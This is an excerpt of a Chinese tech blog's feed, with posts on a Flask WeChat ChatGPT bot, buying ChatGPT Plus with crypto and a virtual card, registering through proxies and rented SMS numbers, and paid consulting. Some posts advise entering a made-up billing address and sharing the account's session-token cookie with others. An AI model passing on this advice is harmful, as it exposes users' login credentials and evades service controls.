            &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;我正在思考中，请稍后回复【继续】获取回答&amp;quot;&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;openid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;请稍后，还没准备好参考答案&amp;quot;&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TextReply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TextReply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;欢迎使用志军的私人AI助理&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;核心代码非常简单，注意我这里使用了一个线程去异步处理用户的消息，因为openai处理问题有时候需要3秒甚至更长时间，而公众号的会话必须在3秒内进行响应，所以我这里会把没有及时返回的答案放到redis中，等用户回复【继续】的时候给它返回结果。&lt;/p&gt;
&lt;p&gt;因为项目是一个基于Flask的web项目，我直接部署在centos服务器上。用supervisor来管理进程，web server 使用gunicorn。都是Web开发中常规的技术。&lt;/p&gt;
&lt;p&gt;部署之后，可以来体验一下了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230216152404777" src="../../images/image-20230216152404777.png"&gt;&lt;/p&gt;
&lt;p&gt;完整代码可在公众号【Python之禅】回复 “chatgpt" 获取。任何技术问题可添加我的微信 lzjun567   咨询。  &lt;/p&gt;</content><category term="思考"/></entry><entry><title>ChatGPT Plus 会员保姆级升级教程（亲测有效）</title><link href="https://foofish.net/chatgpt-plus-hui-yuan-bao-mu-ji-zhu-ce-jiao-cheng.html" rel="alternate"/><published>2023-02-16T07:59:01+08:00</published><updated>2023-02-16T07:59:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-02-16:/chatgpt-plus-hui-yuan-bao-mu-ji-zhu-ce-jiao-cheng.html</id><summary type="html">&lt;p&gt;之前写过一个&lt;a href="https://foofish.net/how-to-registe-chatGPT.html"&gt;ChatGPT的保姆级注册教程&lt;/a&gt;， 随着GPT-4的发布，其功能之强大令人震撼，以前GPT只能理解文本内容，现在可以文本加图片了，理解能力大幅度提升，在一个模拟律师考 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;之前写过一个&lt;a href="https://foofish.net/how-to-registe-chatGPT.html"&gt;ChatGPT的保姆级注册教程&lt;/a&gt;， 随着GPT-4的发布，其功能之强大令人震撼，以前GPT只能理解文本内容，现在可以文本加图片了，理解能力大幅度提升，在一个模拟律师考试中，它的分数在应试者的前 10% ；相比GPT-3.5 的得分在倒数 10% 左右，其智力水平让教育行业陷入沉思。  不过这些功能需要购买 ChatGPT Plus 才能体验到。&lt;/p&gt;
&lt;h3&gt;ChatGPT Plus是什么？&lt;/h3&gt;
&lt;p&gt;平时我们注册的ChatGPT账号是普通账号，而 Plus 属于ChatGPT的升级版，好处非常多，比如系统更稳定、无字数限制，优先体验新特性等等。&lt;/p&gt;
&lt;p&gt;升级Plus付费版流程比较繁琐，因为它不支持国内信用卡，你必须使用国外的虚拟信用卡进行充值。总体步骤是：欧易平台购买USDT-&amp;gt;提现到Depay钱包-&amp;gt; 兑换成美元充值到Depay信用卡-购买ChatGPT Plus会员。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230316075946959" src="../../images/image-20230316075946959.png"&gt;&lt;/p&gt;
&lt;p&gt;欧易是虚拟货币交易平台，港股上市公司，Depay是美国最大的虚拟信用卡公司。&lt;/p&gt;
&lt;p&gt;ChatGPT Plus 升级准备&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;1个可正常使用的ChatGPT账号&lt;/li&gt;
&lt;li&gt;欧易平台账号&lt;/li&gt;
&lt;li&gt;1账虚拟信用卡（Depay）&lt;/li&gt;
&lt;li&gt;能访问ChatGPT（科学上网）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;ChatGPT账号注册请参考文章&lt;a href="https://foofish.net/how-to-registe-chatGPT.html"&gt;ChatGPT的保姆级注册教程&lt;/a&gt;， 也可以直接从网上购买或者直接联系我（lzjun567）快速搞定账号。&lt;/p&gt;
&lt;h3&gt;申请欧易账号并充值USDT&lt;/h3&gt;
&lt;p&gt;USDT 是虚拟货币中的一种，叫泰达币，跟法币美元USD1比1等价锚定，美元涨USDT就涨，美元跌USDT也跟着跌，USDT背后有金融机构担保，安全性非常高。&lt;/p&gt;
&lt;p&gt;欧易平台是虚拟货币平台交易所&lt;/p&gt;
&lt;p&gt;点击这里-&amp;gt;&lt;a href="https://www.okx.com/join/17912936"&gt;直接跳转欧易官网注册&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;注册完成后在官网或者google play商店下载安装欧易APP。&lt;/p&gt;
&lt;p&gt;点击App首页——我要买币——快捷买币——选USDT——购买至少23USDT（人民币大约200多）——支持支付宝、微信或者银行卡购买。  这一步完成了人民币到USDT的兑换。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230326110125835" src="../../images/image-20230326110125835.png"&gt;&lt;/p&gt;
&lt;h4&gt;申请虚拟信用卡Depay&lt;/h4&gt;
&lt;p&gt;Depay是美国最大的虚拟信用卡公司，因为ChatGPT充值不支持国内信用卡，必须使用美国信用卡，所以我们首选Depay。&lt;/p&gt;
&lt;p&gt;点击注册&lt;a href="https://depay.depay.one/web-app/register-h5?invitCode=712088&amp;amp;lang=zh-cn"&gt;Depay账号&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230316082836429" src="../../images/image-20230316082836429.png"&gt;&lt;/p&gt;
&lt;p&gt;注册完成后下载APP（APP支持中文语言）申请虚拟信用卡， 信用卡可选择0元开卡也可以选10USDT的开卡费，0元开卡需要上传你的身份证或者护照信息，然后等待审核（5-10分钟）就会开卡成功。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325084353845" src="../../images/image-20230325084353845.png"&gt;&lt;/p&gt;
&lt;p&gt;开通后，直接往里面充USDT。&lt;/p&gt;
&lt;p&gt;打开Depay APP，找到钱包——USDT——充币——复制你的充值地址，确认主网是TRC20。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325105910969" src="../../images/image-20230325105910969.png"&gt;&lt;/p&gt;
&lt;p&gt;回到欧易APP，找到资产——提币——USDT——链上提币，提币地址就是Depay钱包的充值地址，然后等待到账。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意往Depay钱包充值一次至少要5美元起，低于5美元没法入账。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;转账Depay成功后，点击Depay钱包--兑换，将USDT兑换成USD美元。然后将美元存入卡中。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325111035632" src="../../images/image-20230325111035632.png"&gt;&lt;/p&gt;
&lt;h3&gt;充值开通ChatGPT Plus&lt;/h3&gt;
&lt;p&gt;信用卡搞定后，终于来到最后一步开通ChatGPT Plus，登录ChatGPT账号后，左下角有个升级Plus的入口&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230316084609993" src="../../images/image-20230316084609993.png"&gt;&lt;/p&gt;
&lt;p&gt;然后根据指引填上刚刚申请好的虚拟信用卡信息后就可以升级为尊贵的Plus会员了。账单地址随便填都可以，也可以用一个美国地址生成器生成一个地址。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230316084718570" src="../../images/image-20230316084718570.png"&gt;&lt;/p&gt;
&lt;p&gt;提交订阅的时候，一定要确保你的IP节点是美国或者欧洲、新加坡等地区，否则无法订阅成功，提示信用卡被拒绝&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325112152114" src="../../images/image-20230325112152114.png"&gt;&lt;/p&gt;
&lt;p&gt;升级成功后就可以使用GPT-4了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230325113434413" src="../../images/image-20230325113434413.png"&gt;&lt;/p&gt;
&lt;p&gt;常见问题： &lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Plus会员是一次性付费吗？&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote&gt;
&lt;p&gt;不是，Plus是按月订阅，每月20美元，如果不想继续订阅，可以取消自动订阅，否则他会自动扣款&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol&gt;
&lt;li&gt;如果升级流程繁琐，可直接找人帮你升级或者购买已经开通了Plus的账号，费用一般是200左右，我也可以代开（微信联系 lzjun567)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="" src="../../images/qrcode_gh_4340d45cdd5f_1.jpg"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>公众号一年发布篇数怎么查</title><link href="https://foofish.net/query-article-count.html" rel="alternate"/><published>2023-02-13T12:59:01+08:00</published><updated>2023-02-13T12:59:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-02-13:/query-article-count.html</id><summary type="html">&lt;p&gt;作为公众号运营者，你是否对你的公众号数据有过全面的了解呢？比如你是否知道公众号一年共发布了多少篇文章，哪些 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;作为公众号运营者，你是否对你的公众号数据有过全面的了解呢？比如你是否知道公众号一年共发布了多少篇文章，哪些文章的阅读量最高，传播得最广。哪些文章得互动评论最多，点赞数据有多少。&lt;/p&gt;
&lt;p&gt;如果只有一两篇文章我们还可以在后台通过手工方式一篇一篇去统计，但是当一年的数据有几百上千篇时就显得有点举步维艰。特别是每到年底要盘点数据时，如何快速导出数据显得尤为重要。&lt;/p&gt;
&lt;p&gt;今天推荐一个公众号数据导出工具------&lt;strong&gt;次幂数据&lt;/strong&gt;（体验地址：https://www.cimidata.com/data/export），它能一键导出任意公众号下的任意发布时间段内文章的阅读数、点赞数、在看数以及是否标记为原创等维度的数据。导出来直接是excel格式，方便我们做数据分析。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/1669967524068_20221202155324235598.png"&gt;&lt;/p&gt;
&lt;p&gt;操作流程很简单&lt;/p&gt;
&lt;p&gt;第1步：确定公众号。进入工作台页面后，在左侧找到【数据回采】的功能，输入我们将要导出的公众号昵称&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/image-20221201215644393_20221201215848272463.png"&gt;&lt;/p&gt;
&lt;p&gt;第2步：确定时间范围，你可以选择任意时间段内发布的文章进行导出，导出的数据都是最新的数据。确定导出后，只需等到一段时间，采集任务将根据任务大小完成采集。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/公众号搜索_20221127232750825889.gif"&gt;&lt;/p&gt;
&lt;p&gt;采集完成后你将收到通知提醒，从历史记录中即可下载回采数据&lt;img alt="img" src="../../images/image-20221127223117471_20221127232808016391.png"&gt;&lt;/p&gt;
&lt;p&gt;体验地址：https://www.cimidata.com/data/export&lt;/p&gt;</content><category term="思考"/></entry><entry><title>ChatGPT保姆级注册教程</title><link href="https://foofish.net/how-to-registe-chatGPT.html" rel="alternate"/><published>2023-02-10T12:59:01+08:00</published><updated>2023-02-10T12:59:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-02-10:/how-to-registe-chatGPT.html</id><summary type="html">&lt;p&gt;ChatGPT去年已经在互联网技术圈里已经火了一把，现在似乎已经出圈，各行各业都在讨论，可以预见，ChatGPT是继互联网后的又一大技术革命。&lt;/p&gt;
&lt;p&gt;如何才能体验ChatGPT呢？很多人卡在账号注册这一步，现在就来手把手教你 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;ChatGPT去年已经在互联网技术圈里已经火了一把，现在似乎已经出圈，各行各业都在讨论，可以预见，ChatGPT是继互联网后的又一大技术革命。&lt;/p&gt;
&lt;p&gt;如何才能体验ChatGPT呢？很多人卡在账号注册这一步，现在就来手把手教你如何成功注册ChatGPT，亲测有效。 如果不想自己折腾直接加入我们社群【ChatGPT研究社】，里面提供了关于ChatGPT的各种教程和工具，让你快速上手，现在加入还可免费获取一个独立的ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="../../images/image-20230330011719223.png"&gt;&lt;/p&gt;
&lt;h3&gt;ChatGPT是什么？&lt;/h3&gt;
&lt;p&gt;ChatGPT的自我介绍&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;我是 Assistant，一个由 OpenAI 训练的大型语言模型。我可以回答您的问题，并帮助您了解更多关于特定主题的信息。我并不具备自己的意识，只能通过我所学到的知识来回答问题。如果您有任何其他问题，请随时问我。我很乐意帮助您。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;ChatGPT 注册准备&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;代理（推荐台湾或者日本节点）&lt;/li&gt;
&lt;li&gt;邮箱&lt;/li&gt;
&lt;li&gt;国外手机号（可临时购买）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因为ChatGPT的网站无法在国内正常访问，所以我们必须使用梯子绕一圈才能完成注册，同时因为需要绑定国外手机号才能完成注册，所以你还需要准备一个能接收验证码的号码。&lt;/p&gt;
&lt;p&gt;第一步：开启全局代理，这一步无法具体介绍，不开就会出现访问拒绝的提示&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230210083452855" src="../../images/image-20230210083452855.png"&gt;&lt;/p&gt;
&lt;p&gt;第二步：打开chatgpt注册网站: https://chat.openai.com/auth/login&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230210004148020" src="../../images/image-20230210004148020.png"&gt;&lt;/p&gt;
&lt;p&gt;点击 Sign up，进行账号注册&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230210004333600" src="../../images/image-20230210004333600.png"&gt;&lt;/p&gt;
&lt;p&gt;设置邮箱和密码后，会收到一份邮箱验证信息，点击验证链接后，会提示你设置姓名和绑定手机号，如果出现 Not available 信息，说明你的代理有问题，请切换到美国节点。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230210004637105" src="../../images/image-20230210004637105.png"&gt;&lt;/p&gt;
&lt;p&gt;第三步：设置姓名&lt;/p&gt;
&lt;p&gt;邮箱验证成功后，会提示你设置姓名，这一步没啥好介绍，按照指示直接操作&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230210084017054" src="../../images/image-20230210084017054.png"&gt;&lt;/p&gt;
&lt;p&gt;第四步：绑定手机号&lt;/p&gt;
&lt;p&gt;很多人都卡在这一步，因为ChatGPT不支持国内手机号，我们可以去接码平台购买一个临时的手机号来接收验证码。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230210084305540" src="../../images/image-20230210084305540.png"&gt;&lt;/p&gt;
&lt;p&gt;常用的几个国外接码平台是&lt;a href="sms-activate.org"&gt;sms-activate.org&lt;/a&gt; 和 &lt;a href="5sim.net"&gt;5sim.net&lt;/a&gt; 这两个网站。操作方式一样，都要先充值。&lt;/p&gt;
&lt;p&gt;这里我使用5sim这个平台为例，充值成功后，搜索“OpenAI”，因为chatgpt是openai旗下的产品。 &lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/Fn5HU0Kre8Z4xmMUeTn6UkzS8UhI.png"&gt;&lt;/p&gt;
&lt;p&gt;点击搜索结果OpenAI/ChatGPT，后搜索或者下拉选择国家地区购买手机号&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FhDtOGFj1Depp21BFYpVO0RnysO4.png"&gt;&lt;/p&gt;
&lt;p&gt;选择运营商购买&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FjD5bRUkAt0h-t0qdL7maXdCdDTU.png"&gt;&lt;/p&gt;
&lt;p&gt;购买成功后，系统会给你分配手机号&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/Fni9SuGN8iET7W9CdfjivE4KTcaQ.png"&gt;&lt;/p&gt;
&lt;p&gt;将手机号复制后，输入到chatgpt手机号验证码输入框，等待接收验证码。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FhUDx6wfeZThSGXxtvYurbkBUXhR.png"&gt;&lt;/p&gt;
&lt;p&gt;注意，你购买的手机号是哪个国家或地区，这里就选择哪个国家或地区。点击 Send Code 后，在接码平台等待接收验证码。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FrsHGJp1NRd6w28lZzj56Sx8eFHU.png"&gt;&lt;/p&gt;
&lt;p&gt;拿到验证码后，回到chatgpt网站继续进行验证，如果一直收不到验证码可点击 Resend code，或者返回前一步（页面左上角的 go back）购买一个新手机号拿来重新验证。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/FjAVUlk42e5dgZdgrWXGqSGrPzqP.png"&gt;&lt;/p&gt;
&lt;p&gt;验证码校验通过后就可以开启愉快的聊天了。 如果你打开的页面不是下图的风格，请确认网址是不是：https://chat.openai.com/chat&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230210093902692" src="../../images/image-20230210093902692.png"&gt;&lt;/p&gt;
&lt;p&gt;先来调戏一下ChatGPT&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230210092438645" src="../../images/image-20230210092438645.png"&gt;&lt;/p&gt;
&lt;p&gt;常见问题：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果你的代理比较慢，登录以后就可以把代理关了使用，只有登录的时候会验证 IP，使用过程中没关系。&lt;/li&gt;
&lt;li&gt;如果注册的时候忘记开全局代理，并且浏览器不是无痕模式，被拒绝访问了，可以打开浏览器控制台清除当前网页的 Local Storage。&lt;/li&gt;
&lt;li&gt;如果你想分享给他人使用，可以将「__Secure-next-auth.session-token」这个 Cookie 分享给对方，对方通过 Safari 浏览器（因为这个浏览器可以操作带有 httpOnly 属性的 Cookie）就可以将此 Cookie 设置到浏览器，之后就能使用了。&lt;/li&gt;
&lt;li&gt;注册过程中不会弄验证码或者其它问题可以微信私信我&lt;/li&gt;
&lt;li&gt;如果嫌注册流程繁琐，可直接购买账号（俺有独立账号。微信： go2071， 备注：购买gpt）&lt;/li&gt;
&lt;li&gt;👉 &lt;a href="https://docs.qq.com/doc/DRHdDaFNYSW9GS1lS"&gt;加入ChatGPT知识星球免费送独立账号&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img alt="" src="../../images/FsDuvCdKd-7RtHV-msRFodu9pb0M.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230324013842151" src="../../images/image-20230324013842151.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="chatgpt"/></entry><entry><title>关于付费咨询</title><link href="https://foofish.net/pay_for_consulting_service.html" rel="alternate"/><published>2023-02-01T20:59:01+08:00</published><updated>2023-02-01T20:59:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-02-01:/pay_for_consulting_service.html</id><summary type="html">&lt;p&gt;经常会有读者粉丝朋友加微信过来咨询一些技术相关的问题， 一般情况下我都是免费回答，后来咨询的人越来越多了，我 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;经常会有读者粉丝朋友加微信过来咨询一些技术相关的问题， 一般情况下我都是免费回答，后来咨询的人越来越多了，我的个人时间明显不够用了。对于一两句话能说清楚的问题能直接解答。&lt;/p&gt;
&lt;p&gt;但是有些问题一两句话就没法讲清楚，你跟他说A的时候，要先跟他解释B是什么，前前后后要花费大半个小时。有些甚至问题都没法描述清楚&lt;/p&gt;
&lt;p&gt;后来就推了一个付费咨询的业务，具体内容是这样的&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果你的技术问题占用我的时间比较长，请使用付费咨询，以获得更好体验。&lt;/p&gt;
&lt;p&gt;一是对我时间的尊重&lt;/p&gt;
&lt;p&gt;二是咱们可以交个朋友，后续有问题可以获得更好帮助&lt;/p&gt;
&lt;p&gt;单次 50 起。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然后附上收款码，发现这种效果非常好，对于愿意付费的读者，二话不说非常爽快，我也能给他们提供超预期的体验，往往后面他们继续问的时候，我都会耐心给他们解答。&lt;/p&gt;
&lt;p&gt;大部分读者都愿意支付这个费用，因为有些问题自己琢磨真的能困扰你很久很久，这是能用一杯咖啡的钱就能解决的事，关键是一次付费，还增加了我们之间的信任值，后续我也更愿意继续提供帮助。&lt;/p&gt;
&lt;p&gt;微信好友里很多通过付费产生链接后面真的成了朋友，我也愿意给他们推荐资源，像一个私活、工作机会之类的。&lt;/p&gt;
&lt;p&gt;而对于少数只想白嫖的读者，见到我把这个咨询业务发给他时就不好意思再继续追问问题了，也算是节约我时间的一种办法吧。&lt;/p&gt;
&lt;p&gt;付费就是捡便宜，我们最宝贵的资源是自己的注意力，比时间和钱都更加珍贵。如果我们能花钱买到注意力或者时间，我们就赚了，反而免费是最贵的东西。&lt;/p&gt;</content><category term="思考"/></entry></feed>